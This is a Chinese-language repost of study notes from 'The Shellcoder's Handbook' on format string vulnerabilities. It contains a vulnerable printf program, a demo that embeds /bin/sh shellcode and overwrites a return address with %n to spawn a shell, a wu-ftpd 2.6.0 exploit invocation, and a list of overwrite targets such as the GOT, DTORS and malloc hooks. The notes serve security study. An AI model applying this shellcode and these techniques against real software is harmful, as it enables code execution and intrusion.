Shellcode笔记 | 格式化串漏洞
2011-05-05 09:38
465 查看
Shellcode笔记 | 格式化串漏洞
转:http://my.chinaunix.net/space.php?uid=24022912&do=blog&id=33376(感谢这位仁兄!)
已有 89 次阅读 2010-08-08 10:57
声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。
格式化串漏洞
当printf系列函数的格式化串里包含用户提交的数据时,有可能出现格式化串漏洞。攻击者可能提交许多格式化字符(但不提供对应的变量),这样栈上就没有和格式符相对于的参数,因此系统就会用栈上的其他数据代替这项参数,从而导致信息泄露和执行指定的代码。
以下面的程序为例:
//file: fmt.c #include <stdio.h> int main(int argc, char *argv[]) { if (argc != 2) return 1; printf(argv[1]); printf("/n"); return 0; } |
sep@debian66:~/shellcode$ cc -o fmt fmt.c fmt.c:13:2: warning: no newline at end of file sep@debian66:~/shellcode$ ./fmt "%x %x %x %x" bfefb224 bfefb1a8 bfefb1b0 b7e66c8c sep@debian66:~/shellcode$ |
转换格式符:d、i、o、u、x用于整数,e、f、g、a用于浮点数,c用于字符,特别留意下面两个: s--这个参数被视为指向字符串的指针,将以字符串的形式输出参数; n--这个参数被视为指向整形(包括int、short、char等)的指针,在这个参数之前输出的字符的数量将被保存到这个参数指向的地址里。 |
1、我们能控制%n参数,并可以把输出的字符的数量写入内存的指定区域; 2、宽度格式符允许用任意长度(事实上最长可为255个字符)填充输出。因此,可以用字符串长度改写单个字节; 3、重复上面步骤4次的话,就能改写内存中的任意4B,也就是说,攻击者可以利用这个方法改写内存地址; 4、我们可以猜测函数指针的地址(保存的返回地址RET、二进制文件的导入表、c++ vatable等),因此我们可以促成系统把提交的字符串当成代码来执行。 |
//file: fmt2.c //cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2 #include <stdio.h> char shellcode[] = "/xeb/x1a/x5e/x31" "/xc0/x88/x46/x07" "/x8d/x1e/x89/x5e" "/x08/x89/x46/x0c" "/xb0/x0b/x89/xf3" "/x8d/x4e/x08/x8d" "/x56/x0c/xcd/x80" "/xe8/xe1/xff/xff" "/xff/x2f/x62/x69" "/x6e/x2f/x73/x68"; int main() { int *ret; ret = (int *)&ret + 2; printf("%p/n", shellcode); printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret); printf("%0*d%n/n", ((int)shellcode>>8) &0xff, 0, (char *)ret+1); printf("%0*d%n/n", ((int)shellcode>>16)&0xff, 0, (char *)ret+2); printf("%0*d%n/n", ((int)shellcode>>24)&0xff, 0, (char *)ret+3); } |
编译运行
sep@debian66:~/shellcode$ cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2 sep@debian66:~/shellcode$ ./fmt2 0x8049680 00000000000000000000000000000000000000000000000000000000000000...0 <0x80个0> 00000000000000000000000000000000000000000000000000000000000000...0 <0x96个0> 0000 00000000 sh-3.1$ |
利用格式化串漏洞,书上以wu-ftpd 2.6.0为例展开阐述如何使得服务崩溃和获取内存中的数据。
控制程序的执行
书中仍然以wu-ftpd 2.6.0为例展开如何利用printf漏洞让程序执行我们的shellcode。过程还是相当复杂的,需要装redhat9.0 + wu-ftpd2.6.0来实践一次。
书中有个地方比较难以理解:
./dowu localhost $'/x41/x41/x41/x41%272$n' 1 如果用gdb跟踪wu-ftp的执行情况,你会看到进程正在试着把0x0000000a写入地址0x41414141。 |
0x41414141只是为了验证我们的想法而选择的地址。实际中应该选择一个有意义的地址,可以从多个目标中选择它:
保存的返回地址(栈溢出,用信息泄露的方法来确定返回地址的位置); 全局偏移表(GOT),动态重定位对函数; 析构函数表(DTORS); C函数库钩子,例如malloc_hook、realloc_hook和free_hook; atexit结构; 所有其他的函数指针,例如C++ vtables、回调函数等; Windows里默认未处理的异常处理程序,它几乎总是在同一地址。 |
objdump -R /usr/sbin/in.ftpd ... 0806d3b0 R_386_JUMP_SLOT printf ... |
针对wu-ftpd的这个漏洞,最流行的破解是wuftpd2600.c。
格式化串技术概述
格式化串参数:
1、可用%s从目标进程读取内存数据;
2、可用%n把输出字符串长度写入任意地址;
3、可用宽度修饰符修改输出的字符的数量;
4、可用%hn修饰符每次写入16位数值。
直接参数访问允许多次重用同一格式化串里的栈参数,也允许直接用那些我们感
兴趣的参数。直接参数访问包括使用$修饰符,例如:
%272$x
将显示栈上的第272个参数。这是很重要的技巧。
相关文章推荐
- CTF-ECHO-200格式化字符串漏洞+shellcode
- shellcode之四:格式化串漏洞
- shellcode之四:格式化串漏洞
- 【Spring学习笔记-MVC-9】SpringMVC数据格式化之日期转换@DateTimeFormat
- iOS开发笔记--使用UITextField自动格式化银行卡号
- 栈溢出笔记1.3 准备Shellcode
- 【工作笔记】js常用方法--格式化时间、格式化金额
- CSRF漏洞笔记
- java enum 笔记 日期时间格式化
- 远程线程注入shellcode笔记
- 【安全牛学习笔记】手动漏洞挖掘-SQL注入
- 夜灵的Html笔记Day07——浮动、背景、文本格式化、列表
- [python学习笔记] String格式化
- C语言学习笔记之格式化I/O(scanf函数、printf函数)
- Object C学习笔记2-NSLog 格式化输出数据
- Python学习笔记: 增强的格式化字符串format函数
- Linux学习笔记——系统分区与格式化
- JFinal教程JfinalUIB 代码笔记 (5)--- 增加sql打印格式化和参数值输出
- Linux Kernel ext3消息记录格式化字符串漏洞
- 安全测试学习笔记二(对于top 10 漏洞的分析)